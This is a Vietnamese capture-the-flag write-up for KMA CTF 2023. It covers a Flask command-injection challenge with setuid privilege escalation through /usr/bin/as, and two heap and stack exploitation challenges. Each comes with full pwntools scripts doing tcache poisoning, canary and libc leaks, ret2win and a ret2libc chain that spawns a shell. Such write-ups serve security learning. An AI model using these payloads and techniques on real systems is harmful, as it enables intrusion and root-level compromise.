Try   HackMD

(writeup) KMA CTF 2023

Welcome to KCSC

  • là một challenge pwn_web

  • file cho bạn nào muốn test local: run.py
import json
from subprocess import check_output, STDOUT
from flask import Flask, render_template, request
app = Flask(__name__)

@app.route('/')
def index():
	cards = json.loads(open('data/former.txt', 'r').read())
	return render_template('index.html', cards=cards, card_len = len(cards))

@app.route('/contact', methods = ['GET', 'POST'])
def contact():
	if request.method == 'GET':
		return render_template('contact.html')
	elif request.method == 'POST':
		try:
			output = check_output(['./bin/advice', request.form['name'], request.form['advice']], stderr=STDOUT)
		except:
			output = 'Something wrong!'
		return render_template('contact.html', output=output.decode())

if __name__=='__main__':
	app.run(host='0.0.0.0')
  • check ida

  • thông qua ida, sẽ lấy 2 arg 1 và 2 sau đó đến hàm system() thực hiện nội dung biến s
    ===> cmd injection
  • biến s được copy bằng hàm sprintf() với nội dung echo \"%s\\n%s\ > data/advice"
  • ta bypass bằng:
    • arg1 : 'a" ; ls ;'
    • arg2 : ' " '

echo "a" ; ls ; "n"

  • bài này sẽ giống dạng leo thang đặc quyền, ta cần từ quyền user lên root
  • ta sẽ check các tệp tin Linux với quyền thực thi setuid (set user ID)

với quyền setuid cho phép người dùng chạy tập tin đó với quyền của chủ sở hữu (root) của tập tin, thay vì quyền của người dùng có chạy tập tin đó.

  • ta sẽ tìm trong thư mục '/' : find /
  • kiểm tra quyền :-perm -u=s
  • tìm kiếm tệp tin thường (regular files): -type f
  • ẩn thông báo lỗi và chuyển sang chỉ tìm kiếm: 2>/dev/null

file '/usr/bin/as' đáng ngờ

  • arg1: a"; LFILE=/root/root.txt ; as @$LFILE
  • arg2: "

  • script:
#!/usr/bin/python3

from pwn import *
import requests

# context.binary = exe = ELF('./advice',checksec=False)

if args.REMOTE:
		url = 'http://103.162.14.116:5001/contact'
else:
		url = 'http://127.0.0.1:5000/contact'

payload = {
    'name': 'a"; LFILE=/root/root.txt ; as @$LFILE',  
    'advice': '"'
}

response = requests.post(url, data=payload)
out = response.text
print(out)
log.info(b'#'*90)
#KMACTF{w3b_pwn_1s_sup3rdup3r_34sy_cae767b694e19fba60412585575bacff}

KMACTF{w3b_pwn_1s_sup3rdup3r_34sy_cae767b694e19fba60412585575bacff}


Not a Note

  • basic file check

  • check ida

main()

menu()

create_note()
malloc size1 cho title
malloc size2 cho content
cuối title (prev_size) sẽ set địa chỉ của content

edit_note()
chọn lựa 2 option edit title hoặc content

edit_title()
xoá title rồi ghi đè cái mới

edit_content()
xoá content rồi free sau đó malloc ghi cái mới

view_note()
show thông tin title và content

delete_note()
xoá title lẫn content rồi mới free

read_function()
đây là hàm ẩn nhằm lấy shell

analyse

  • 1 note được tạo ra bằng 2 chunks
    • title
    • content
  • ngoài ra không có lỗi DBF hay UAF do nó xoá con trỏ cả trước khi free

không thể trigger bình thường
NHƯNG liệu ta có thể thay đổi điều đó?

  • trước mắt ta sẽ bật tham số NOASLR
  • trong hàm edit_title, bug nằm ở hàm strcpy

memset() cho biến s có size 1032 thành NULL
strcpy 1 phần -> cuối payload có NULL
-> Poison NULL byte

leak heap

  • đầu tiên ta hoàn toàn có thể leak được heap base nhờ vào tạo 1 note (idx0) có size A, edit content size B (với B > A) và ghi đè full byte để nối chuỗi với ptr heap
add(0,0x50,b'A'*0x50,0x50,b'a'*0x50) #a2a0 #a300
content_edit(0,0x100,b'b'*160) #free a300 #a360
show(0)

do ptr của content hiện tại byte cuối là 0x00

leak libc

  • nếu ptr content thay vì là địa chỉ heap, ta sẽ chỉnh thành địa chỉ của libc
  • đầu tiên ta sẽ fill up tcache để lần add_note() tiếp theo và delete_note() nó sẽ chui vào ubin
size = 0x120
add(1,size,b"aaaa",size,b"bbbb") #a470 #a5a0
add(2,size,b"cccc",size,b"ddđ") #a6d0 #a800
add(3,size,b"hlaan",size,b"hlaan") #a930 #aa60
add(4,size,b"a",size,b"a") #ab90 #acc0

delete(1)
delete(2)
delete(3)
delete(4)

free content trước mới free title
tức chunk ab80 sẽ nằm trong ubin (ab90 trừ metadata)

  • ta phải tận dụng BUG poison NULL byte tấn công vào chunk victim có đuôi 00
  • thấy có freed chunk a300 từ lúc ta leak heap
  • add_note() với size 0x50 (idx1) sẽ reused lại chunk a300 và ab90
  • sau đó edit_title() cho chunk idx0 và poison NULL byte
a290: --------      0x61        a290: --------      0x61
a2a0: --------  --------        a2a0: aaaaaaaa  aaaaaaaa
...                       ===>  ...
a2f0: ----a360      0x61        a2f0: ----a300      0x61
a300: --------  --------        a300: --------  --------
  • lúc này ta tiếp tục edit_content() cho chunk 1 (free ab90 và malloc 1 size khác)

mục đích tăng count trong tcache

malloc size 0x100

  • giả sử ta delete_note() chunk 0 thì sao ?

free a300 trước rồi free a2a0
nhưng chunk a300 lại là title của idx1 (nhưng ta lại đâu có xoá idx1 ???)
vậy ta có thể UAF ở đây rồi

  • mục tiêu khi ta UAF là tạo fake chunk
  • ta có thể sửa title (idx1) từ chunk a300 và nhắm đến chunk victim có thể tấn công là a350

  • ta cần tạo 1 dslk các bin trong tcache

hiện tại lúc này a300 đang trỏ vào payload
ta cần trỏ vào fake chunk tiếp theo

  • nhưng từ libc 2.31 trở lên có cơ chế bảo vệ tcache, xem thêm

ở chunk aa60 có dữ liệu bảo vệ
trong tcache bin, chunk tiếp theo aa60 là a6d0
thì dữ liệu được tính là (aa60 >> 12)^a6d0

  • thế để fw_pointer của a300 là a350 thì payload như sau
#ptr >> 12 ^ addr
need = heap_base+0x350
ptr = heap_base+0x300
payload = (ptr >> 12) ^ need
  • nhưng điều còn vướng bận là sử dụng hàm edit_title() sẽ còn strcpy (NULL byte ở cuối)
  • do dữ liệu bảo vệ có 6 byte

p64() sẽ dư 2 byte '\0' sẽ bị lỗi đọc read_str
gửi đúng 6 byte thì byte 7 NULL, byte 8 còn dính payload cũ là 'a'

  • vậy ta sẽ edit 2 lần, lần 1 7 byte (byte 8 là NULL)
  • lần 2 là 6 byte (byte 7 là NULL)
title_edit(1,p64(payload)[0:6]+b'a')
title_edit(1,p64(payload)[0:6])
  • vì xor trong NOASLR sẽ bị lỗi nên lần này bỏ NOASLR luôn
  • lúc này trong bin có đến 3 chunk

  • vậy ta cần add_note() size 0x50 (idx2) để moi 2 cái ra
  • lần add_note() tiếp theo sẽ gán fake_chunk ở a350
  • nhưng sẽ là chunk nào?
#title là 0x50, content sẽ chọn size khác (0x70 chẳng hạn)
#ubin là (0x..be0 + 0x10) - (0x70 + 0x10)
#bf0 -e-d-c-b-a-9-8-7 ---> ta cần là 0x..c70
add(2,0x50,b'cccc',0x50,b'dddd')
payload = p64(heap_base+0xc60+0x10)
add(3,0x50,payload,0x70,b'aabb')
  • khi ta chọn view_note(), sẽ lấy idx1 vì node của nó content hiện tại là fake_chunk(ubin)

leak stack -> exe -> canary

leaking stack

  • về cách leak stack, ta sẽ sử dụng __environ có trong libc
  • và dùng edit_title() cho idx3

environ = libc.sym['environ']
title_edit(3,p64(environ)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
stack_leak = u64(p.recv(6)+b'\0\0')
info("stack leak: " + hex(stack_leak))

leaking exe

  • có được stack, ta trỏ content về stack, stack trỏ đến exe

leak_main = stack_leak-0x110
title_edit(3,p64(leak_main)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - exe.sym['main']
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))

leaking canary

  • tương tự như leak exe, nhưng vì do canary luôn có byte cuối là "\x00" nên địa chỉ trỏ về dịch lên 1 byte

leak_canary = stack_leak-0x12f
title_edit(3,p64(leak_canary)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
canary = u64(b'\0' + p.recv(7))
info("canary: " + hex(canary))

ret2win

  • đề bài có sẵn cho ta hàm ẩn để lấy shell
  • ngại gì ta không dùng =))))
  • phân tích xíu

lấy size chunk title làm lượng size có thể read_str

  • vậy nếu ta chỉnh size của a350 (idx3) có size cực lớn thì sao?
    ===> Buffer Overflow
  • edit_title(1) để resize a350 (idx3)
payload = b'a'*0x48 + p64(0xffff)
title_edit(1,payload)
  • ta sẽ return $rip khi thoát khỏi hàm edit_title()

payload = b'a'* 0x408 + canary + b'a'*8 + win

get flag

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./notanote_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe

def GDB():#NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+54
                b*create_note+183
                b*create_note+315
                b*create_note+360
                b*create_note+684
                b*create_note+709
                b*delete_note+74
                b*delete_note+198
                b*delete_note+236
                b*edit_title+156
                b*edit_content+101
                b*edit_content+293
                b*edit_content+455
                b*edit_content+480
                b*main+309
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('103.162.14.116',1001)
else:
        p = process(exe.path)

def add(idx,size1,title,size2,content):
        sla(b'> ',b'1')
        sla(b'Index: ',str(idx))
        #title
        sla(b"size: ",str(size1)) #max 0x400 + 0x8 = 0x410
        sla(b'Title: ',title)
        #content
        sla(b"size: ",str(size2)) #max 0x400 + 0x8 = 0x410
        sla(b'Content: ',content)

def title_edit(idx,data):
        sla(b'> ',b'2')
        sla(b'Index: ',str(idx))
        sla(b'> ',b'1') #1. title
        sla(b'title: ',data)
        sla(b'> ',b'3') #back

def content_edit(idx,size,content):
        sla(b'> ',b'2')
        sla(b'Index: ',str(idx))
        sla(b'> ',b'2') #2.content
        sla(b'size: ',str(size)) #max 0x400
        sla(b'Content: ',content)
        sla(b'> ',b'3') #back

def show(idx):
        sla(b'> ',b'3')
        sla(b'Index: ',str(idx))

def delete(idx):
        sla(b'> ',b'4')
        sla(b'Index: ',str(idx))

add(0,0x50,b'A'*0x50,0x50,b'a'*0x50) #a2a0 #a300
content_edit(0,0x100,b'b'*160) #free a300 #a360
show(0)
p.recvuntil(b'A'*0x50)
heap_leak = u64(p.recv(6)+b'\0\0')
heap_base = heap_leak - 0x360
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))

size = 0x120
add(1,size,b"aaaa",size,b"bbbb") #a470 #a5a0
add(2,size,b"cccc",size,b"dddd") #a6d0 #a800
add(3,size,b"hlaan",size,b"hlaan") #a930 #aa60
add(4,size,b"a",size,b"a") #ab90 #acc0

delete(1)
delete(2)
delete(3)
delete(4)

add(1,0x50,b'aaaa',0x50,b'bbbb') #a300 #ab90
title_edit(0,b'a'*0x50) #a2a0 #poison NULL
content_edit(1,0x100,b'AAAA') #adf0
delete(0)
payload = b'A'*0x48 + p64(0x61)
title_edit(1,payload) #a300

GDB()

#ptr >> 12 ^ addr
need = heap_base+0x350
ptr = heap_base+0x300
payload = (ptr >> 12) ^ need
title_edit(1,p64(payload)[0:6]+b'a')
title_edit(1,p64(payload)[0:6])
add(2,0x50,b'cccc',0x50,b'dddd')
payload = p64(heap_base+0xc60+0x10)
add(3,0x50,payload,0x70,b'aabb')
show(1)

p.recvuntil(b'Content: ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1f6ce0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))

environ = libc.sym['environ']
title_edit(3,p64(environ)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
stack_leak = u64(p.recv(6)+b'\0\0')
info("stack leak: " + hex(stack_leak))

leak_main = stack_leak-0x110
title_edit(3,p64(leak_main)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - exe.sym['main']
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))

system = exe.sym['read_function']
info("get shell: " + hex(system))

GDB()

leak_canary = stack_leak-0x12f
title_edit(3,p64(leak_canary)[0:6]) #350
show(1)
p.recvuntil(b'Content: ')
canary = u64(b'\0' + p.recv(7))
info("canary: " + hex(canary))

payload = b'a'*0x48 + p64(0xffff)
title_edit(1,payload)

payload = b'b'*0x408 + p64(canary) + b'a'*8 + p64(system+5)
sla(b'> ',b'2')
sla(b'Index: ',str(3))
sla(b'> ',b'1')
sla(b'title: ',payload)

p.interactive()

Password Manager

  • basic file check

  • check ida

main()

menu()
nếu đã encrypted thì in "Decrypt", ngược lại in "Encrypt"

add_cred()
tạo tối đa 4 note
size tối đa là 256 (0x100)
key = &note - 0x20
note_size = &note - 0x10
nếu đã encrypted thì tiếp tục encrypt

edit_cred()
in data cũ và nhập data mới (vào stack) tối đa 0x100
đồng thời lựa chọn "y/n" để đưa từ stack vào &note
nếu đã encrypted thì decrypt

delete_cred()
nếu đã encrypted thì decrypt và in ra data
không thì encrypt nó
rồi "y/n" xác nhận xoá hay không

lock_n_lock()
là bước mã hoá data

analyse

  • mỗi idx &note lưu trữ data cách nhau 256 byte
  • ta thấy ở biến note_size có BUG:

khai báo là mảng kích cỡ 4 byte

nhưng scanf lại có format là %lu

===> Interger Overflow

  • chức năng "lưu note" nó sẽ lưu từ stack vào &note

memcpy stack s vào &note với size là lúc khai báo
==> khai báo size lớn nhưng payload ngắn
===> leak được exe, canary

  • có đoạn check encrypted, thực hiện encrypt data sẽ xor với key

  • cũng trong hàm lock_n_lock(), phần else lại không có check_canary() -> tận dụng lỗi IOF để trigger BOF -> ret2libc

leak canary

  • đầu tiên ta tạo full cred giả để fill đầy note_size

tạo 4 size 0x100

  • sau đó xoá idx0 rồi tạo lại ghi đè fake size cho idx1 (0x300)
delete(0, "y")
create(0, 0x0000030000000100, b"aabb")
  • chọn edit_cred() cho idx1 để memcpy từ stack lên &note (copy tận 0x300 bytes)
  • tiếp theo edit_cred() cho idx2 và ghi vừa đủ
  • memset cho s thành NULL, memcpy từ s trên stack lượng size là size mình khai báo, edit_cred() chỉ ghi tối đa 0x100 nên có lẽ lúc tạo note ta cần căn chỉnh lại size

thấy dữ liệu khá giống canary nhưng offset tận 0x118

idx2 memcpy từ 3280 <note+512>
ta thấy 1 địa chỉ ở 3298 khá giống canary
ta cần ow 0x18+1 byte để nối chuỗi canary

  • vậy ta sửa lại khi add_cred() cho idx2 ta chỉnh size thành 0x19

leak libc

  • tương tự như leak canary
  • ow lượng vừa đủ để nối chuỗi

  • ta delete_cred() idx2 rồi tạo cái mới, edit_cred() nối chuỗi

offset 0x88 -> add_cred() size 0x88 và edit_cred() padding 0x88

leak key (just 4 fun)

  • phân tích 1 xíu:

  • key là random mỗi khi run chương trình (8 bytes)
  • cách thức xor là lấy lần lượt mỗi byte trong key xor với mỗi byte trong &note(idx) lưu trong biến s trên stack
  • cuối cùng copy lại vào &note(idx)
  • vòng lặp đi đến hết size của idx note đó
  • NẾU dữ liệu là NULL và size nhỏ lại thì sao?

key ^ 0 = key

  • lúc này biến encrypted là bật (=1)
  • nếu ta in data lần nữa sẽ khiến decrypt key của mình

key ^ key = 0

  • ta sẽ tricky 1 chút

lúc này xoắn não nek =)))))))
đọc kỹ nhaaa

  • delete_cred(0) và add_cred(0) size là 0x10 => 0x10 : NULL NULL
  • ta encrypt nó => 0x10 : key key

  • tiếp tục delete_cred(0)

qua hàm delete_cred() có thêm 1 lần decrypt


NULL NULL

  • rồi add_cred(0) size là 0x8 => NULL NULL

qua hàm add_cred() tiếp tục encrypt


key key

  • rồi tiếp tục edit_cred(1) là 0x8 => 0x10 : 'aaaaaaaa' key

lúc này qua hàm edit_cred tiếp tục decrypt
nhưng ở idx 1 hiện tại là key key
decrypt xong thành NULL NULL
rồi mới đưa payload vào
'aaaaaaaa' key
hàm edit_cred() đặc biệt 1 xíu là nếu encrypted = 1 sẽ decrypt->payload->encrypt
tiếp tục encrypt
'abcxyz' NULL (abcxyz là do 'a'*8 xor với key)

  • rồi edit_cred(1) tiếp theo (mục đích để leak)

decrypt => 0x10 : 'aaaaaaaa' key ('a'*8 là do 'abcxyz' xor với key)

nhận dư byte '\n' (do key ở lần DEBUG này có 7 bytes)

ret2libc

  • vì ta hoàn toàn có thể fake size 1 cred nên dựa vào return của hàm lock_n_lock() mà ret2libc
  • ta phải set size mới sao cho dư cả lần decrypt hay encrypt phía sau
  • ta nhắm vào idx2, nên delete_cred(0)delete_cred(1) sau đó add_cred(0) resize lại
  • khi đó nó sẽ decrypt hay encrypt gì đó 1 nùi byte encrypt từ idx1 và tiếp tục với size mình ghi lố

đừng lo nó mã hoá payload của mình vì data mã hoá đó vào &note
còn payload của mình vẫn trên stack

  • để nhảy vào bước else của hàm if ta phải edit_cred() 1 cred không tồn tại

  • tính toán:
sau 1 loạt stack chứa key của idx1 là chuỗi payload
vì có canary nên start của buf sẽ kết thúc ở leave_ret
tức là payload cho idx2 bắt đầu ở trước canary
         p64(0)
         canary
->$rbp : p64(0)
         ret2libc

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./passwordmanager_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*add_cred+307
                b*add_cred+379
                b*lock_n_lock+300
                b*lock_n_lock+618
                b*edit_cred+221
                b*edit_cred+221
                b*edit_cred+422
                b*edit_cred+422
                b*delete_cred+199
                b*delete_cred+307
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('')
else:
        p = process(exe.path)

def add(idx,size,data):
        sla(b'> ',b'1')
        sla(b'Index: ',str(idx))
        sla(b"Size: ",str(size))
        sa(b'Data: ',data)

def edit(idx,data):
        sla(b'> ',b'2')
        sla(b'Index: ',str(idx))
        sa(b'data: ',data)
        sla(b'[y/n]: ',b'y')

def delete(idx):
        sla(b'> ',b'3')
        sla(b'Index: ',str(idx))
        sla(b'[y/n]: ',b'y')

def encrypt():
        sla(b'> ',b'4')

add(0,0x100,b'aaaa')
add(1,0x100,b'bbbb')
add(2,0x19,b'cccc')
add(3,0x100,b'dddd')

delete(0)
add(0,0x0000030000000100,b'aabb')

edit(1,b'hlaan')
edit(2,b'a'*0x19)
sla(b'> ',b'2')
sla(b'Index: ',str(2))
p.recvuntil(b'a'*0x19)
canary = u64(b'\0' + p.recv(7))
info("canary leak: " + hex(canary))
sa(b'data: ',b'a') #doesn't matter
sla(b'[y/n]: ',b'n') #doesn't matter

delete(2)
add(2,0x88,b'abcd')
edit(2,b'a'*0x88)
sla(b'> ',b'2')
sla(b'Index: ',str(2))
p.recvuntil(b'a'*0x88)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x29d90
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sa(b'data: ',b'a') #doesn't matter
sla(b'[y/n]: ',b'n') #doesn't matter

delete(0)
add(0, 0x0000001000000100, b'\0')
encrypt()
delete(0)
add(0, 0x0000000800000100, b'\0')
edit(1,b'a'*8)
sla(b'> ',b'2')
sla(b'Index: ',str(1))
p.recvuntil(b'a'*8)
key = u64(p.recv(8))
info("key: " + hex(key))
sa(b'data: ',b'a') #doesn't matter
sla(b'[y/n]: ',b'n') #doesn't matter

# GDB()

delete(0)
delete(1)

pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6 

payload = flat(
    0,
    canary,
    0,
    pop_rdi, next(libc.search(b"/bin/sh\0")),
    ret,
    libc.sym['system'],
)
edit(2, payload)
add(0, 0x0000014000000100, b'\0')
sla(b'> ',b'2')
sla(b'Index: ',str(1)) #not exist

p.interactive()